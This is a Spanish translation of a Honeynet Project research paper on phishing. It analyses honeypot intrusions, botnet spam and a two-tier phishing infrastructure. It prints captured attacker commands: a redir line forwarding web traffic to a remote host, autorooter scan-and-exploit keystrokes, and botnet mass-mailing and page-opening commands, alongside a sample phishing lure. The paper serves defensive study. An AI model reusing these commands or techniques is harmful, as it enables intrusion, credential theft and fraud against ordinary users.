Phishing es la práctica de enviar correos electrónicos falsos, o spam, escritos para parecer como si han sido enviados por bancos y otras reputadas organizaciones, con la intención de embaucar al receptor para revelar información sensible tal como nombres de usuario, contraseñas, números de cuenta, números PIN o datos de tarjetas de crédito. Típicamente, los ataques de phishing dirigen al receptor a una página web diseñada para imitar la identidad visual de la organización objetivo del ataque y para recolectar la información personal del usuario, a menudo sin que la víctima sea consciente del ataque. La obtención de este tipo de información es atractivo para los cybercriminales porque permite al atacante suplantar a sus víctimas y realizar transacciones financieras fraudulentas. Las víctimas a menudo sufren significativas pérdidas económicas o el robo completo de su identidad, habitualmente para fines delictivos. Este artículo KYE persigue proporcionar información práctica sobre la actividad del phishing y hace uso de datos recopilados por el German Honeynet Project y el UK Honeynet Project. Este artículo se centra en incidentes reales que el Honeynet Project ha observado en el entorno real, pero no cubre todos los posibles métodos o técnicas de phishing. Los atacantes innovan y avanzan constantemente, y probablemente en la actualidad existan nuevas técnicas de phishing ya en desarrollo o en uso.
Tras una breve introducción y antecedentes, revisaremos las técnicas actuales y las herramientas empleadas por los phishers, proporcionando tres casos de investigación empírica en los que se capturaron ataques de phishing reales utilizando honeynets. Estos incidentes se describirán en detalle e incluirán la intrusión en el sistema, la preparación de la web de phishing, la propagación de mensajes y la recolección de datos. Se analizarán a continuación las técnicas y tendencias habituales, incluyendo la creciente integración de phishing, spamming y botnets. Se revisan ejemplos del malware empleado por los phishers para automatizar la recolección de direcciones de correo electrónico y para enviar correo electrónico de spam, y también presentamos nuestras observaciones sobre técnicas de escaneado de redes y sobre cómo se utilizan máquinas comprometidas para distribuir correos electrónicos de phishing y otro spam. Finalmente, concluiremos este artículo con una visión general de las lecciones aprendidas en los últimos seis meses y sugeriremos temas de investigación adicionales, con muchos enlaces a datos más detallados sobre los ataques específicos incluidos en el texto. Finalmente, ninguna información personal confidencial fue recolectada en el proceso de esta investigación. En algunos casos, organizaciones afectadas por ataques de phishing fueron contactadas directamente, o los datos del incidente fueron enviados al CERT local.
El engañar a otros para que entreguen contraseñas u otra información sensible tiene una larga tradición entre los atacantes. Tradicionalmente esta actividad se ha llevado a cabo através de algún proceso de ingeniería social. En los años 90, con el creciente aumento de sistemas interconectados y la popularidad de Internet, los atacantes comenzaron a automatizar este proceso y a atacar el mercado de consumo. La primera investigación sistemática en cubrir esta actividad fue publicada en 1998 por Gordon y Chess (Sarah Gordon, David. M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet, presentado en la Virus Bulletin Conference en Munich, Alemania en Octubre de 1998). Gordon y Chess investigaban el malware en AOL, pero se encontraron con intentos de phishing en lugar de los ataques de troyanos que esperaban. El término phishing ("password harvesting fishing", n.d.t: en Español podría equivaler a "pesca de contraseñas") describe la obtención fraudulenta, a través del engaño, de datos personales sensibles tales como contraseñas o detalles de tarjetas de crédito, mediante la suplantación de alguien de confianza con una legítima necesidad de dicha información. A continuación se muestra un mensaje de phishing descrito por Gordon y Chess:
Sector 4G9E of our data base has lost all I/O functions. When your account logged onto our system, we were temporarily able to verify it as a registered user. Approximately 94 seconds ago, your verification was made void by loss of data in the Sector 4G9E. Now, due to AOL verification protocol, it is mandatory for us to re-verify you. Please click 'Respond' and re-state your password. Failure to comply will result in immediate account deletion.
"n.d.t: El sector 4G9E de nuestra base de datos ha perdido todas sus funciones de E/S. Cuando su cuenta accedió a nuestro sistema, pudimos temporalmente verificar que corresponde a un usuario registrado. Hace aproximadamente 94 segundos, su verificación fue anulada por la pérdida de datos en el sector 49GE. Ahora, debido al protocolo de verificación de AOL es imprescindible que le verifiquemos de nuevo. Por favor pulse 'Responder' y confirme su contraseña. El no cumplir esto resultará en la eliminación inmediata de su cuenta."
Los primeros ataques de phishing se dirigían principalmente a obtener acceso a las cuentas en AOL de las víctimas, u ocasionalmente a obtener datos de tarjetas de crédito para propósitos fraudulentos (p.e. para realizar compras ilegales con esta información). A menudo los mensajes de phishing contenían un ardid simple para engañara a usuarios inexpertos y se apoyaban fuertemente en el sentimiento de confianza innato de las víctimas hacia sistemas "automatizados" o figuras de autoridad (aparentes). Como se ha demostrado en el ejemplo anterior, podía tratarse de una historia acerca de un dispositivo hardware averiado o el fallo de una base de datos, y la mayoría de usuarios comunes habrían dado por buena cualquier petición técnica con un razonable aspecto oficial o de extrema urgencia, que aparentaran ofrecerles una ayuda. Usualmente se requería a los usuarios para introducir información sensible rápidamente con el fin de evitar algún problema serio, por ejemplo a través de la frase "[...] y confirme su contraseña. El no cumplir esto resultará en la eliminación inmediata de su cuenta". Para evitar consecuencias potencialmente graves, las víctimas a menudo cumplían de forma inmediata, proporcionando inadvertidamente al ingeniero social las credenciales que solicitaba. La evidencia anecdotal sugería que los culpables habitualmente actuaban sólos o en grupos pequeños y sin sofisticación. La literatura suele dibujar a aquellos primeros phishers como adolescentes que deseaban datos de cuentas para hacer travesuras y para hacer llamadas de larga distancia, normalmente con escaso nivel de organización o malicia.
Hoy, la estrategia preferida por los phishers es el envío de sus señuelos en correos electrónicos masivos a tantos usuarios como les sea posible mientas se hacen pasar por una firma de confianza - habitualmente en la que el phisher cree que hay oportunidades de que la víctima ya confíe de antemano. Se envía una petición de actuación urgente, irónicamente a menudo destinada a proteger de actividades maliciosas la información confidencial de usuario, y este correo electrónico falso contendrá un enlace ofuscado hacia una página web remota que se hace pasar por el sitio web público de la marca objetivo. El phisher espera que las víctimas serán engañadas para proporcionar sus credenciales, en un falso pero aparentemente legítimo interface web "oficial" de la firma de confianza. Los ejemplos de organizaciones atacadas por phishers incluyen muchos bancos conocidos, compañías de tarjetas de crédito o comerciantes a través de Internet que requieren pagos regularmente (p.e. eBay y PayPal). Pueden encontrarse numerosos ejemplos de correos electrónicos de phishing dirigidos a clientes en el sitio web del Anti-Phishing Working Group, el cual tiene un archivo de correos electrónicos de phishing, muchos de los cuales ilustran el alto grado de precisión con el que los phishers pueden hacer creer a usuarios inocentes que están accediendo a un interface web legítimo.
Tras esta breve introducción a los conceptos del phishing, revisaremos a continuación las técnicas y herramientas específicas que hemos capturado durante ataques de phishing observados en el medio real. Si está interesado en antecedentes detallados sobre phishing, hemos preparado esta página de antecedentes detallados.
Los ataques de Phishing generalmente se apoyan en un conjunto de herramientas y técnicas simples para engañar a usuarios desprevenidos. La infraestructura subyacente para apoyar un scam de phishing puede ser tan básica como una simple copia de una página HTML subida a un servidor web recién comprometido, y un script de servidor para procesar los datos introducidos por el usuario, o puede involucrar sitios web más complejos y redirección del contexto, pero generalmente los objetivos son los mismos - crear una presencia web falsa de una firma de confianza con las capacidades de servicio necesarias para procesar los datos introducidos por el usuario y hacerlos disponibles para el atacante. Usando las modernas herramientas de edición de HTML es muy sencillo crear un sitio web que imite una organización objetivo, y resulta fácil localizar y comprometer servidores web pobremente securizados si un atacante no tiene inconveniente en escanear porciones completas del espacio de direcciones IP de Internet en busca de servidores vulnerables. Una vez comprometidos, incluso los PCs domésticos pueden ser eficaces servidores de sitios web de phishing, de modo que no sólo los sistemas de compañías e instituciones educativas conocidas son tomados como objetivos. Los atacantes son a menudo indiscriminados en su elección de objetivos, seleccionado simplemente grandes rangos de direcciones IP para escanearlos aleatoriamente en busca de una vulnerabilidad en particular que explotar. Una vez que el phisher ha montado un sitio web realista y convincente que imita una firma de confianza, su principal reto es cómo derivar a los usuarios del sitio web legítimo hacia el sitio web falso. A no ser que el phisher disponga de la habilidad para alterar el DNS del sitio web objetivo (DNS poisoning) o en su lugar redireccionar de algún otro modo el tráfico de red (una técnica a veces denominada como pharming), deben en lugar de ello basarse en algún tipo de engaño a nivel de contenidos para atraer a los infortunados usuarios al sitio web falso. Cuanto mejor es la calidad del señuelo y más amplia la red que puede lanzarse, mayor es la oportunidad de que un usuario inocente acceda erróneamente al sitio web falso (y en el proceso potencialmente proporcione al phisher sus credenciales y otros datos personales).
Desafortunadamente para el atacante, cuando toma como objetivo una organización individual (tal como un banco o un comercio de confianza), el phisher probablemente no disponga de ninguna información sobre quién en Internet es cliente de la organización objetivo y por tanto quién puede ser más receptivo a un señuelo en particular. Aunque el atacante podría enviar enlaces al sitio web falso en salas de chat y foros relacionados con la marca objetivo (tal como un sitio web de soporte técnico o un grupo de discusión), es probable que la organización objetivo fuera notificada razonablemente rápido y los enlaces fueran eliminados o desacreditados antes de que cualquier víctima hubiera accedido al contenido y enviado sus detalles personales. Habría también un riesgo significativo de que la organización objetivo o las fuerzas de seguridad pudieran seguir y potencialmente cerrar el sitio web falso. El phisher precisa por tanto de un método de llegar al mayor número de víctimas potenciales con el menor riesgo, y han dado con su aliado ideal en el crimen en la forma del correo electrónico de spam.
Los spammers tiene bases de datos que contienen muchos millones de direcciones de correo electrónico activas, de forma que las más recientes técnicas de mailing electrónico masivo pueden ser empleadas para permitir a un phisher distribuir su señuelo a una muy amplia audiencia con un riesgo muy bajo. Los correos electrónicos de spam se envían a menudo a través de servidores comprometidos alojados en países extranjeros, o a través de redes globales de PCs zombis (botnets), de modo que la probabilidad de que un remitente individual sea localizado es baja. Si un usuario desprevenido recibe un correo electrónico con señas oficiales que aparenta haber sido enviado por su banco, en el que se le pide que acuda a lo que parece el habitual sitio web oficial del banco para cambiar su password de banca electrónica por razones de seguridad, es mucho más probable que consideren hacerlo que frente a correos electrónicos de spam comunes sobre de productos novedosos y con enlaces a sitios web desconocidos. Para aumentar la probabilidad de que un usuario crea que un correo electrónico es genuino, el phisher puede emplear un conjunto de técnicas para mejorar aún más la calidad de su intento de engaño:
Debido a la complejidad relativa de la naturaleza de muchas aplicaciones de comercio o banca electrónica, que a menudo emplean marcos y submarcos HTML u otras estructuras de página complejas, puede resultar difícil para un usuario final el determinar de forma sencilla si una página web particular es o no legítima. Una combinación de las técnicas mencionadas anteriormente puede enmascarar el origen real de la página web visualizada y un usuario desprevenido podría ser engañado para acceder erróneamente al falso sitio web del phisher, divulgando inconscientemente sus credenciales de autenticación o sus datos personales. En este momento el phisher podrá libremente utilizar las cuentas o la identidad electrónica del usuario como desee, y el usuario se convertirá en otra víctima de un exitoso ataque de phishing.
Muy a menudo los usuarios de Internet se dan cuenta de los ataques de phishing cuando reciben mensajes falsificados o al ver una copia de un sitio web malicioso en una web de noticias tecnológicas, mucho después de que el servidor que temporalmente alojaba el contenido de phishing haya sido retirado. Estos eventos tienden a ser observados aisladamente y puramente desde la perspectiva de la víctima. Uno de los grandes beneficios que la tecnología honeynets puede ofrecer es la capacidad de capturar toda la actividad desde la perspectiva del atacante, permitiendo a los analistas de seguridad comprender mejor el ciclo de vida completo de un ataque de phishing. Los miembros de la Research Alliance del Honeynet Project han tenido la fortuna de capturar un rico conjunto de datos que puede ayudar a ilustrar las etapas de estos ataques, desde el compromiso inicial e instalación del sitio web de phishing hasta el mailing masivo y la captura de datos de las víctimas. Tres ejemplos diferentes de técnicas de phishing típicas del mundo real se presentan y revisan a continuación.
La mayoría de ataques de phishing que hemos observado en la realidad incluyen la intrusión de los atacantes en servidores vulnerables y la instalación de contenido web malicioso. La tecnología de honeynets nos permite capturar en detalle el ciclo de vida típico de un ataque de phishing, y en términos generales el flujo de eventos que hemos observado durante tales incidentes es como sigue:
A menudo el tiempo que implica este ciclo de vida del incidente es cuestión de horas o días desde que el sistema es inicialmente conectado a Internet, y nuestra investigación sugiere que esta actividad está teniendo lugar sobre muchos servidores y siendo dirigida a múltiples organizaciones al mismo tiempo. Ilustraremos estas teorías utilizando datos recogidos durante dos incidentes que son típicos de ataques de phishing comunes, utilizando un incidente observado por el German Honeynet Project y un incidente observado por el UK Honeynet Project. En cada caso, honeypots vulnerables con sistemas Linux fueron desplegados por miembros de la Honeynet Research Alliance. El subsiguiente compromiso de ambos honeypots compartió un modus operandi similar: los honeypots vulnerables fueron escaneados y comprometidos en rápida sucesión, y fueron cargados por los atacantes con sitios web de phishing prefabricados y herramientas de envío masivo de correos electrónicos para enviar correos de spam. Durante estos ataques se instalaron también rootkits y servidores IRC, algo que hemos observado comunmente en otros incidentes similares. Los honeypots comprometidos se fueron utilizados también para distintos propósitos además del phishing: como bot IRC por atacantes rumanos, y también como un escáner para localizar y atacar otros ordenadores vulnerables (aunque la arquitectura de honeynet impidió a los atacantes explotar con éxito otros servidores desde los honeypots comprometidos). También se hicieron patentes algunas diferencias interesantes, mientras varios grupos diferentes accedían al mismo tiempo al honeypot comprometido, haciendo el análisis forense más complicado. En favor de la brevedad, no hemos incluido los detalles de estos ataques específicos en este artículo y hemos tratado únicamente las lecciones aprendidas y cómo se aplican al phishing. Si desea consultar más detalles sobre los ataques específicos, dispone de la siguiente información:
La tabla siguiente muestra un resumen de los factores clave y las diferencias entre los incidentes:
| Dato | Incidente Alemán | Incidente Británico |
| Honeypot comprometido | Redhat Linux 7.1 x86. | Redhat Linux 7.3 x86. |
| Localización | Red corporativa alemana | Centro de datos de un ISP en Gran Bretaña |
| Método de ataque | autorooter "Superwu" | Escaner masivo "Mole" |
| Vulnerabilidad exploitada | Wu-Ftpd File globbing heap corruption vulnerability (CVE-2001-0550). | NETBIOS SMB trans2open buffer overflow (CAN-2003-0201). |
| Nivel de acceso obtenido | Root. | Root. |
| Rootkit instalado | Rootkit sencillo que altera varios binarios con puertas traseras. | SHV4 rootkit. |
| Atacantes probables | Desconocido. | Múltiples grupos, desde rangos de direcciones IP de cable modems en Constanta, region de Rumanía. |
| Actividad del sitio web | Carga de múltiples sitios web de phishing prefabricados dirigidos a eBay e importantes bancos en US. | Carga de un sitio web de phishing prefabricado dirigido a un importante banco británico. |
| Procesamiento de servidor | Script PHP para validar los datos introducidos por el usuario. | Script PHP con validaciones de entradas del usuario más avanzadas y clasificación de datos. |
| Actividad de correo electrónico | Intentó enviar spam(ejemplo 1, ejemplo 2), pero fue bloqueado por Honeywall. | Sólo se enviaron correos de prueba, potencialmente para otros phisers. Presentación y sintaxis mejores. |
| Metodo de emailing masivo | Script PHP desde una lista de direcciones de tamaño medio. | Script PHP básico desde una pequeña lista de entrada de direcciones de correo - posiblemente una mera prueba. |
| Tráfico de víctimas recibido en el honeypot | No, La publicación por spam y el acceso al sitio web fueron bloqueados. | Si. 265 peticiones HTTP en 4 días, no debido a spam enviado desde este servidor (no se vieron comprometidos datos de clientes). |
De la observación de los tecleos de los phishers en ambos incidentes (capturados utilizando Sebek), está claro que los atacantes se conectaron a puertas traseras prexistentes e inmediatamente comenzaron a trabajar en el despliegue de sus sitios web de phishing. Los atacantes parecieron estar familiarizados con el entorno del servidor, sugiriendo que formaran parte del grupo que originalmente comprometió los honeypots, y que el intento de phishing estaba bastante bien organizado. Dado que el contenido web cargado a menudo se refería a otros servidores web y direcciones IP, es también probable que esta actividad estuviera ocurriendo simultáneamente en múltiples servidores.
El análisis del contenido de los sitios web de phishing cargados por los atacantes durante estos incidentes deja claro que los phishers dirigen sus ataques simultáneamente a muchas firmas de comercio electrónico conocidas. Sitios web falsos prefabricados, bien construidos y empleando la guía de estilo oficial son desplegados de forma habitual en servidores comprometidos - a menudo dirigidos a múltiples organizaciones a través de "micro sitios" independientes, con carpetas raíces de contenidos web separadas, junto con las herramientas necesarias para propagar correos electrónicos de spam a víctimas potenciales del phishing. Las listas de direcciones observadas durante sesiones FTP confirman también que los atacantes estaban fuertemente involucrados en actividades de phishing y spam, revelando contenidos web prefabricados y herramientas de envío de mensajes almacenados en un servidor central y aparentemente dirigidos al menos a eBay, AOL, y varios conocidos bancos norteamericanos en el caso del Incidente Británico. Es improbable que estos ataques de phishing individuales sean hechos aislados, dado que los correos de spam enviados durante los incidentes a menudo dirigían a las víctimas a un servidor web diferente del honeypot comprometido. Esto indica que los phishers mantienen múltiples servidores web falsos y envían spam desde muchos sistemas simultáneamente. Las operaciones de phishing en paralelo están también indicadas por la sincronización de la primera petición HTTP recibida sobre el contenido de phishing después de que el honeypot británico fuera comprometido:
2004-07-23 21:23:14.118902 XXX.XXX.XXX.XXX -> 10.2.2.120 HTTP GET /.internetBankingLogon HTTP/1.1
Esta petición HTTP recibida en el honeypot ocurrió antes de que los atacantes hubieran terminado de montar el contenido de banca electrónica falso, y confirma la hipótesis de que el atacante conocía de antemano que este servidor estaba disponible para ser utilizado como un sitio web de phishing. Mensajes de spam publicitando el nuevo sitio web de phishing ya habían sido enviados a víctimas desde otro equipo, incluso mientras el atacante estaba montando el nuevo sitio web de phishing.
Nos sorprendió el número y rango de direcciones IP de origen que hacían peticiones HTTP al honeypot comprometido sobre el contenido de banca electrónica falso. La gráfica siguiente muestra el número de peticiones HTTP únicas y repetidas desde direcciones IP individuales hacia el sitio web de phishing británico antes de que el honeypot fuera desconectado para proteger a los usuarios finales (y los detalles del incidente fueran compartidos con el banco objeto del ataque):
Un desglose de los dominios DNS de primer nivel, paises y sistemas operativos que accedieron al contenido de phishing en el honeypot británico puede encontrarse aquí. Nótese que antes de que el honeypot fuera desconectado para su análisis forense, aunque se recibió tráfico web para el sitio web de phishing en el honeypot británico, no se realizó ninguna petición HTTP POST al script PHP que procesa los datos de usuarios y por tanto ningún dato de personal fué comprometido durante este ataque de phishing. En todos los incidentes comentados en este artículo, o bien se notificó el incidente a la organización afectada y se puso a su disposición cualquier información relevante previa petición, o se notificó al CERT local de cualquier actividad maliciosa. En ninguno de los casos fueron capturados por miembros del Honeynet Project o la Research Alliance, datos personales de las víctimas comprometidas.
Los datos de estos dos ejemplos de incidentes sugieren que los phishers son activos y están organizados, moviéndose rápidamente entre sistemas comprometidos y dirigiéndose simultáneamente hacia múltiples marcas conocidas. También parece que regularmente un número de usuarios de correo electrónico son engañados para acceder sitios web falsos de banca electrónica o de compras, y corren el riesgo de convertirse en víctimas de los ataques de phishing.
En noviembre de 2004, el German Honeynet Project desplegó una honeynet GenII clásica con un honeypot Redhat Linux 7.3. Aunque se trata de una release relativamente antigua del sistema operativo y un objetivo fácil para los atacantes, sorprendetemente hicieron falta alrededor de 2.5 meses antes de que el honeypot fuera comprometido con éxito - en marcado contraste con el relativamente rápido compromiso de los honeypots en los incidentes comentados anteriormente. Más información sobre esta tendencia puede encontrarse en un artículo KYE anterior "Know your Enemy: Trends".
El 11 de enero de 2005, un atacante comprometió con éxito el honeypot, utilizando un exploit para la vulnerabilidad OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability presente por defecto en la distribución Redhat Linux 7.3. Este incidente resultó inusual en que una vez que el atacante hubo obtenido acceso al sistema comprometido, no se descargó ningún contenido de phishing directamente. En su lugar, el atacante instaló y configuró un servicio de redirección de puertos en el honeypot.
Este servicio de redirección de puertos estaba destinado a redirigir las peticiones HTTP enviadas al servidor web del honeypot a otro servidor web de forma transparente, haciendo potencialmente más difícil localizar el origen del contenido. El atacante descargó e instaló una utilidad llamada rediren el honeypot, que era una utilidad de redirección de puertos destinada a redirigir transparente las peticiones TCP entrantes a un host remoto. En este incidente el atacante configuró la utilidad para redirigir todo el tráfico entrante en el puerto 80 de TCP (HTTP) del honeypot a un servidor web remoto en China. Interesantemente, el atacante no se molestó en instalar un rootkit para ocultar su presencia en el honeypot, lo que sugiere que valoraba en mucho el servidor comprometido y que no estaba particularmente preocupados por ser detectado.
El comando utilizado por el atacante para establecer la redirección de puertos fué el siguiente:
redir --lport=80 --laddr=<IP address of honeypot> --cport=80 --caddr=221.4.XXX.XXX
Adicionalmente, el atacante modificó el fichero /etc/rc.d/rc.local de inicio del sistema Linux para asegurarse de que el servicio redirector de puertos redir se reiniciara si el honeypot era reiniciado, mejorando así las probabilidades de supervivencia de su servicio de redirección de puertos. Comenzaron entonces a enviar spam con correos de phishing que divulgaban el honeypot, un ejemplo de los cuales puede verse aquí (observe que se ha ofuscado la información sensible relevante).
Para profundizar en la investigación de las actividades del phisher, miembros del German Honeynet Project intervinieron y modificaron disimuladamente la utilidad redir del atacante instalada en el honeypot, habilitando trazas en la propia aplicación redir, para observar más fácilmente cuánta gente recibía un mensaje de correo electrónico publicando el honeypot y pulsaban un enlace accediendo al contenido de phishing redirigido de forma transparente. En un período de aproximadamente 36 horas, 721 direcciones IP singulares fueron redirigidas, y de nuevo nos sorprendió cuántos usuarios estaban aparentemente siendo engañados para acceder a ese contenido a través de correos electrónicos de phishing. Un análisis de las direcciones IP que accedieron al redirector de puertos del honeypot puede verse aquí (observe que esta información ha sido limpiada para proteger a los usuarios que accedieron al contenido de phishing, y de nuevo durante esta investigacíón únicamente se recogieron datos de direcciones IP. Ninguna información confidencial de los usuarios fue capturada).
A continuación se proporciona una cronología resumida del incidente:
| Fecha/Hora | Evento |
| 1st Nov 2004 | Primeras muestras de datos de red del honeypot |
| 11th Ene 2005 - 19:13 | El servicio OpenSSL del honeypot es comprometido, se instala un redirector de puertos y se envía spam de phishing |
| 11th Ene 2005 - 20:07 | Comienzan a recibirse en el honeypot peticiones web para el contenido de phishing |
| 13th Ene 2005 - 8:15 | Se desconecta el honeypot para su análisis forense |
El reciente artículo del Honeynet Project titulado "KYE: Tracking Botnets" introdujo un método para seguir botnets. Una botnet es una red de ordenadores comprometidos que pueden ser controlados remotamente por un atacante. Debido a su inmenso tamaño (decenas de miles de sistemas pueden ser unidos), las botnets pueden suponer una severa amenaza para la comunidad cuando se utilizan para ataques de denegación de servicio (DoS). La investigación inicial en este área demostró que las botnets se utilizan en ocasiones para enviar correos de spam y pueden ser también utilizadas para ataques de phishing. Durante un estudio en octubre de 2004, la compañía CipherTrust dedicada a la seguridad del correo electrónico sugirió que el 70% del spam de phishing monitorizado se enviaba a través de una de cinco botnets activas, pero nuestras propias observaciones sugieren que muchas más botnets están siendo utilizadas para operaciones de spam. Aunque no un análisis de un incidente individial, en esta sección presentamos nuestras observaciones sobre las herramientas y técnicas empleadas por los atacantes que realizan phishing mediante botnets.
Durante el periodo entre septiembre de 2004 y enero de 2005, el German Honeynet Project desplegó una serie de honeypots basados en versiones no parcheadas de Microsoft Windows para observar la actividad de las botnets. Se desarrolló un proceso automatizado para permitir realizar repetitivamente el despliegue, compromiso y parada para análisis forense de los honeypots. Durante este periodo más de 100 botnets independientes fueron observadas y miles de ficheros fueron capturados para su análisis.
Algunas versiones del software del bot que se capturó durante este proyecto de investigación proporcionaba la capacidad de iniciar remotamente un proxy SOCKS v4/v5 en un equipo comprometido. SOCKS proporciona un mecanismo genérico de proxy para aplicaciones basadas en tráfico TCP/IP (RFC 1928) y puede ser utilizado como proxy del tráfico más popular en Internet, como el HTTP o el correo SMTP. Si un atacante con acceso a una botnet habilita la funcionalidad de proxy SOCKS en un bot remoto, esta máquina puede entonces ser utilizada para enviar correo spam masivo. Si la botnet contiene muchos miles de equipos comprometidos, un atacante puede entonces enviar cantidades ingentes de correos electrónicos masivos con gran facilidad, a menudo desde un amplio rango de direcciones IP pertenecientes a usuarios domésticos desprevenidos.
La ausencia de un punto central de contacto y el número de límites internacionales cruzados puede hacer muy difícil seguir y detener esta actividad, convirtiéndola en de bajo riesgo pero alta recompensa para spammers y phishers. No resulta sorprendente que los propietarios de botnets con recursos hayan empezado a dirigirse hacia actividades criminales y sea ahora posible alquilar una botnet. Por una tasa, el operador de la botnet, proporcionará al cliente una lista de direcciones IP y puertos con capacidad de servicio SOCKS v4. Existen casos documentados en los que se vendieron botnets a spammers y redirectores de spam: "Uncovered: Trojans as Spam Robots". Algunos de los ejemplos de software de bot capturados también implementaban una función especial para recolectar direcciones de correo electrónico o para enviar spam mediante bots. La siguiente lista muestra algunos de los comandos relacionados con el envío de correos de spam/phishing implementados en Agobot, un bot popular utilizado por atacantes y una variante regularmente capturada durante nuestra investigación:
Puede encontrarse información adicional sobre como éstos comandos están implementados aquí en una anotación al margen sobre el código fuente de los bots. Con la ayuda de drone, un cliente IRC personalizado por el German Honeynet Project, pudimos aprender más sobre cómo los bots son utilizados para ataques con correos electrónicos de spam/phishing, mediante la introducción de un cliente falso en una botnet utilizando los datos de conexión recogidos de los ataques a nuestras honeynets. Varios ejemplos típicos de la actividad observada se muestran a continuación.
<St0n3y> .mm http://www.example.com/email/fetch.php?4a005aec5d7dbe3b01c75aab2b1c9991 http://www.foobar.net/pay.html Joe did_u_send_me_this
El comando .mm ("mass emailing") es una versión personalizada del comando genérico spam.start. Este comando acepta cuatro parámetros:
En este caso el script fetch.php devolvió 30 direcciones de correo diferentes cada vez que fué invocado. Para cada uno de estos destinatarios, se construyó un mensaje de correo electrónico que publicitaba el segundo parámetro del comando. En este ejemplo, apuntaba a una página web que trataba de instalar un componente ActiveX en el ordenador de la víctima.
En otra botnet observamos la instalación de Complementos de Navegador en el PC de una víctima:
[TOPIC] #spam9 :.open http://amateur.example.com/l33tag3/beta.html -s
El comando .open dice a cada bot que abra la página web solicitada y la muestre a la víctima. En este caso la página web contenía un Complemento de Navegador que intentaría instalarse en el ordenador de la víctima. Como el nombre del canal indica, esta botnet también se utilizaba para enviar spam.
En otra botnet observamos ejemplos de propagación de spyware:
http://public.example.com/prompt.php?h=6d799fbeef3a9b386587f5f7b37f[...]
Este enlace se encontró durante el análisis de malware capturado. Dirige a la víctima a la página web de una compañía que ofrece "software gratuito de distribución de publicidad que proporciona ofertas de publicidad dirigida". Este sitio web contiene varias páginas que intentan instalar componentes ActiveX en los clientes que la visitan, presumiblemente adware o spyware.
Se observaron varios temas comunes durante nuestra investigación de los ataques de phishing, quedando claro que los atacantes utilizan herramientas y técnicas combinadas para aumentar sus probabilidades de éxito. A continuaicón vamos a revisar brevemente dos de estas técnicas - escaneos masivos y ataques combinados.
El análisis de varios honeypots comprometidos sugiere que los sistemas estaban siendo atacados utilizando scripts o exploit de ataque automatizados, a menudo conocidos como autorooters. En ambos incidentes descritos en la primera técnica de phishing tratada anteriormente, una vez los atacantes hubieron comprometido los honeypots, se cargaron autorooters en el servidor. Los atacantes trataron entonces de escanear grandes rangos de direcciones IP en busca de servidores vulnerables similares (empleando escaneadores denominados "superwu" en el incidente alemán y "mole" en el incidente británico). Los tecleos de los atacantes capturados en el incidente británico se muestran a continuación, mostrando ejemplos de la actividad de escaneo masivo intentada desde los honeypots comprometidos. Observe que debido a la configuración de la honeynet, el tráfico saliente hostil fué bloqueado y estos ataques no tuvieron éxito.
El atacante extrae el escaneador e intenta escanear segmentos de red de clase B:
[2004-07-18 15:23:31 bash 0]tar zxvf mole.tgz [2004-07-18 15:23:33 bash 0]cd mole [2004-07-18 15:23:38 bash 0]./mazz 63.2 [2004-07-18 15:24:04 bash 0]./mazz 207.55 [2004-07-18 15:25:13 bash 0]./scan 80.82
El atacante trata de explotar servidores potencialmente vulnerables:
[2004-07-19 11:56:46 bash 0]cd mole [2004-07-19 11:56:50 bash 0]./root -b 0 -v ns1.victim.net [2004-07-19 11:57:26 bash 0]./root -b 0 -v 66.90.NNN.NNN
El atacante retorna más tarde para comprobar la lista de servidores comprometidos con éxito (la lista estaba vacía, debido a la configuración de la honeynet):
[2004-07-23 08:13:18 bash 0]cd mole [2004-07-23 08:13:20 bash 0]ls [2004-07-23 08:13:25 bash 0]cat hacked.servers
El atacante trata de escanear múltiples segmentos de red de clase B e intenta un exploit contra una selección de objetivos:
[2004-07-24 10:24:17 bash 0]cd mole [2004-07-24 10:24:19 bash 0]./scan 140.130 [2004-07-24 10:24:27 bash 0]./scan 166.80 [2004-07-24 10:25:36 bash 0]./scan 166.4 [2004-07-24 10:26:23 bash 0]./scan 139.93 [2004-07-24 10:27:18 bash 0]./scan 133.200 [2004-07-24 10:36:37 bash 0]./try 202.98.XXX.XXX [2004-07-24 10:38:17 bash 0]./try 202.98.YYY.YYY [2004-07-24 10:38:27 bash 0]./try 202.98.YYY.YYY
En el último de los ejemplos anteriores, observe que el equipo que el atacante trata de comprometer no forma parte de los rangos de direcciones IP escaneados desde este honeypot, lo que de nuevo proporciona evidencia de una actividad de escaneo masivo en paralelo y bien coordinada.
Una más amplia investigación del fichero mole.tgz descargado por los atacantes británicos reveló un número de ficheros de texto en el directorio raíz del autorooter desempaquetado. Estos ficheros incluían configuraciones de escaneo y logs de actividades de escaneo previas, para la vulnerabilidad "grabbb2.x and samba2.2.8 vulnerability". 42 casos de ataques contra otros equipos se encontraron en estos ficheros, junto con evidencia de escaneos masivos de muchos segmentos de red de clase B, confirmando que el incidente observado era parte de un ataque mayor y más organizado contra sistemas similares. Un ejemplo de la salida de la utilidad mole, desde la perspectiva del atacante puede encontrarse aquí.
Finalmente, algunas de las utilidades de escaneo masivo recuperadas de honeypots comprometidos no parecen circular públicamente, lo que sugiere que los atacantes tenían cierto nivel de capacidad de desarrollo y construcción de utilidades más allá de la actividad básica de un "script kiddy", o eran parte de una comunidad cerrada que no compartía sus utilidades en foros públicos. De nuevo esto apunta a atacantes más organizados.
En nuestra investigación, también observamos que los phishers combinan frecuentemente las tres técnicas de ataque que hemos observado y documentado en este artículo, combinando a veces múltiples métodos para proporcionar redundancia y proteger su infraestructura de phishing a través de la implementación de una configuración de red en dos etapas. El siguiente diagrama describe una posible topología de red de phishing:
En este ejemplo un servidor web central aloja físicamente el contenido, a menudo sirviendo a más de un sitio web (p.e. un sitio de phihing sobre eBay en /ebay un uno sobre PayPal en /paypal). Varios ordenadores remotos comprometidos redirigen el tráfico HTTP que reciben en el puerto 80 de TCP al servidor web central con la ayuda del redirector de puertos redir. Esto tiene varias ventajas desde el punto de vista del atacante comparado con un único sitio web de phishing:
El uso de estas técnicas sugiere de nuevo atacantes más organizados y capaces, más que el trabajo de simples "script kiddies". Modelos de operación similares se usan a menudo en grandes compañías de hosting y proveedores de contenidos de grans volumen.
